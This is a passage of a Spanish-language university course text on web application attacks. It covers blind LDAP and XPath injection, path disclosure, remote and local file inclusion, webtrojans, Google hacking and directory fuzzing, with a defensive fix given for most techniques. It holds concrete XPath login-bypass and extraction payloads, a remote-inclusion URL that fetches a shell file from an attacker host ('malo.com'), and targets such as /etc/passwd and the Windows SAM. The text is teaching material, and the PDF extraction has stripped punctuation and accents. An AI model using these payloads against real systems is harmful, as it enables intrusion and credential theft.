            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 45: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

